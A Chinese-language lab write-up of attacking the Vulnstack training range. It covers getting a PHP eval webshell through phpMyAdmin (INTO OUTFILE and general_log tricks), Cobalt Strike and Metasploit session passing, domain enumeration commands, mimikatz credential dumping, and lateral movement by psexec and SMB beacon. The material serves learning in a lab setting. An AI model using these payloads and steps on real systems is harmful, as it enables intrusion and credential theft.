Vulnstack靶機學習一(上)
一、前言
這個是紅日的一個靶機,http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
並未按照介紹裡的點一個一個走,簡單記錄下過程。
環境搭建:設定Win2K3 僅主機模式;winserver08 僅主機模式;win7新增一個網絡卡,一個設為僅主機模式,另一個設為NAT模式;攻擊機設為NAT模式。
登入win7,可能要修改密碼。然後進入C:\phpStudy\檔案下執行phpstudy.exe
攻擊機IP:192.168.157.137
二、資訊蒐集
nmap 192.168.157.0/24 -n -sP -sn
發現win7的IP為 192.168.157.138 ,探測開啟的服務
nmap 192.168.157.138 -O -sS -sV -v
訪問http://192.168.157.138/發現是一個PHP探針,能看到絕對路徑
對目錄進行爆破
dirb http://192.168.157.138/
發現了http://192.168.157.138/phpmyadmin/index.php
發現弱密碼root/root進入後臺
三、phpMyAdmin get shell
- 利用select into outfile 寫入shell
先檢視能否自定義匯出檔案目錄的許可權,結果為NULL意味著不允許匯入匯出資料到目錄。且只能在my.ini進行配置。
SHOW VARIABLES LIKE"secure_file_priv";
如果能將my.inisecure_file_prive並將其值設定為""或"/",並重啟MySQL服務
select '<?php @eval($_POST[pass]);?>' into outfile 'c:/phpstudy/www/shell.php';
進行一句話寫shell
2. 利用日誌寫shell
檢視全域性變數 general_log、general_log_file
SHOW VARIABLES LIKE "general_log%";
general_log 預設關閉,,general_log_file為日誌儲存路徑。
寫shell的思路:更改general_log的值,將日誌儲存在能訪問的路徑下,且字尾名為php。然後通過log日誌進行寫入一句話木馬,然後再進一步利用。
set global general_log = "ON"; set global general_log_file = "C:/phpStudy/WWW/shell.php";
然後在日誌中插入一句話
SELECT '<?php eval($_POST["pass"]);?>'
用蟻劍連線http://192.168.157.138/shell.php
四、內網資訊蒐集
利用蟻劍虛擬端進行資訊蒐集,發現在執行net view一些命令時無回顯,利用CS生成木馬,回連beacon。因為是靶機調整心跳為1s。
記錄常用的資訊蒐集命令,cs執行shell命令時需加 "shell 命令",eg: "shell net view"
ipconfig /all net view net view /domain net time /domain 能夠執行,說明此臺機器在域中 (若是此命令在顯示域處顯示 WORKGROUP,則不存在域,若是報錯:發生系統錯誤 5,則存在域,但該使用者不是域使用者) net config workstation 查詢當前的登入域與使用者資訊 net lookup “域名” nslookup 命令直接解析域名伺服器 net user /domain 檢視當前域的所有使用者 wmic useraccount get /all 獲取域內使用者的詳細資訊 net group "domain computers" /domain 檢視所有域成員計算機列表 net group "domain admins" /domain 檢視所有域控管理人員 net group "domain controllers" /domain 檢視與控制管理器 net group "enterprise admins" /domain 檢視企業管理組 net localgroup administrators /domain 檢視域控,升級為域控時,本地賬戶也成為域管 net accounts /domain 獲取域密碼資訊 nltest /domain_trusts 獲取域信任列表
通過資訊蒐集知道了域控IP、域控管理員、域內其他計算機。然後利用svc-exe進行提權
利用mimikatz抓取密碼匯出憑證
五、橫向移動
此時執行net view已經發現域控和另一臺機器,利用匯出的憑證能直接登入。
CS派生session給msf
現在msf監聽,通訊型別要與cs保持一致
msf:
cs:
kali上面執行,連線session解釋派生出來的會話
sessions sessions -i 1
因為知道域控和另一臺機器再192.168.52.0/24段
新增路由:
嘗試了MS17-010、MS08-067未果。到這只是記錄下cs結合msf的運用,同理msf也可以派生session給cs。前面匯出的憑證登入域內兩臺機器
建立一個bind_tcp的listener 針對目標機器點選psexec
但是在OWA用憑證登入的時候,發現不能連線上,懷疑被攔了。這裡使用beacon SMB listener
SMB Beacon 使用命名管道通過父級 Beacon 進行通訊,當兩個 Beacons 連結後,子 Beacon 從父 Beacon 獲取到任務併發送。因為連結的 Beacons 使用 Windows 命名管道進行通訊,此流量封裝在 SMB 協議中,所以 SMB Beacon 相對隱蔽,繞防火牆時可能發揮奇效。
再次建立一個SMB listener ,從已有的beacon上面spwn,選擇建立的listener
然後再登陸憑證,OWA上線。